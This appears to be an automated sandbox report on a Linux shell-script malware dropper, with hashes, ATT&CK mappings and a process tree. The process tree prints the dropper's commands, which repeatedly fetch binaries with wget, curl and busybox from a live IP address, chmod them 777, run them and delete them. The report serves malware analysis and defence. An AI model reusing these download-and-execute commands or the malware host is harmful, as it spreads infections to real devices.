f12ee9d1c13d7f7dae921f8afbeb04408812302e32f11edf5f457cfb3a8f0ddf

Analysis

max time kernel
123s
max time network
154s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
30/10/2024, 03:45

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General

Target
f12ee9d1c13d7f7dae921f8afbeb04408812302e32f11edf5f457cfb3a8f0ddf.sh
Size 10KB
Sample241030-ebdfjsxlcj
SHA256 f12ee9d1c13d7f7dae921f8afbeb04408812302e32f11edf5f457cfb3a8f0ddf
MD5 2bb043fa81f7298e8bba7928029c23b7
SHA1 915b1525363e389043c2ef1f9bfefd4b0b6e5585
SHA512 0d566eb7eae109bc2ff779e739a7ed7db59aab344f8d4cf05d6fc884fb8b3316287db6c756e8471e663abfb5a7b64ad5cc240e44ad5ce3c23e8e30643df966a9
SSDEEP 96:mvdVkm0EpWqdG/W8OanWmH/S1hZ4w3bdVkyZ0EpWq1GDmdFuOanWmHLjUS:mHAW8OanWmH/S5EOanWmHX
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
773	chmod
796	chmod
816	chmod
822	chmod
828	chmod
735	chmod
747	chmod
756	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn	737	JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
/tmp/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw	748	76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
/tmp/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP	757	5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
/tmp/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH	775	AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
/tmp/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw	797	cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
/tmp/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk	817	Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
/tmp/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg	823	Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
/tmp/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9	829	uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn	curl
File opened for modification	/tmp/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw	curl
File opened for modification	/tmp/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP	curl
File opened for modification	/tmp/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH	curl
File opened for modification	/tmp/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw	curl
File opened for modification	/tmp/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk	curl
File opened for modification	/tmp/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg	curl
File opened for modification	/tmp/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9	curl

/tmp/f12ee9d1c13d7f7dae921f8afbeb04408812302e32f11edf5f457cfb3a8f0ddf.sh
/tmp/f12ee9d1c13d7f7dae921f8afbeb04408812302e32f11edf5f457cfb3a8f0ddf.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://87.120.84.230/bins/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  PID:715
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:722
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  PID:733
- /bin/chmod
  chmod 777 JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  ./JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  - Executes dropped EXE
  PID:737
- /bin/rm
  rm JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
  2⤵
  PID:738
- /usr/bin/wget
  wget http://87.120.84.230/bins/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  PID:739
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  PID:746
- /bin/chmod
  chmod 777 76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  ./76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  - Executes dropped EXE
  PID:748
- /bin/rm
  rm 76zKcciYA0BnhJbBVKzuBd6iEM9Ifv7RMw
  2⤵
  PID:749
- /usr/bin/wget
  wget http://87.120.84.230/bins/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  PID:754
- /bin/chmod
  chmod 777 5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  ./5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  - Executes dropped EXE
  PID:757
- /bin/rm
  rm 5MMe9AAWG7WLcZ1ztSVUqzmH5nYS1N4LVP
  2⤵
  PID:760
- /usr/bin/wget
  wget http://87.120.84.230/bins/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:765
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  PID:770
- /bin/chmod
  chmod 777 AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  - File and Directory Permissions Modification
  PID:773
- /tmp/AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  ./AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm AlXXnhcskOZSZIuFizEvXAr1uDpAooB3TH
  2⤵
  PID:778
- /usr/bin/wget
  wget http://87.120.84.230/bins/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  PID:779
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:784
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  PID:792
- /bin/chmod
  chmod 777 cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  ./cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  - Executes dropped EXE
  PID:797
- /bin/rm
  rm cIjaqpmkl4bq1O3TVC6HzsY2gRxGuYmHNw
  2⤵
  PID:800
- /usr/bin/wget
  wget http://87.120.84.230/bins/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  PID:801
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:809
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  PID:814
- /bin/chmod
  chmod 777 Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  - File and Directory Permissions Modification
  PID:816
- /tmp/Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  ./Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  - Executes dropped EXE
  PID:817
- /bin/rm
  rm Pd6lNAaWkwRwTPCfgKJBq96RHk7T1IJ8jk
  2⤵
  PID:818
- /usr/bin/wget
  wget http://87.120.84.230/bins/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  PID:819
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:820
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  PID:821
- /bin/chmod
  chmod 777 Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  ./Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm Abt9uVF5kERoG0nCJ13n2VSeDNcderOhRg
  2⤵
  PID:824
- /usr/bin/wget
  wget http://87.120.84.230/bins/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  PID:825
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:826
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  PID:827
- /bin/chmod
  chmod 777 uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  - File and Directory Permissions Modification
  PID:828
- /tmp/uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  ./uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  - Executes dropped EXE
  PID:829
- /bin/rm
  rm uqwQs5X6UIcBZXhEkiBBQOw1Sq7wE0hbc9
  2⤵
  PID:830
- /usr/bin/wget
  wget http://87.120.84.230/bins/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  PID:831
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/H8095RZDDxdXXV4ZBfk1HAUaVwysiohU7s
  2⤵
  PID:832

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn

Path /tmp/JzbLzxSYOy0Ak24uopQ42EpeiZKTUoLimn
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

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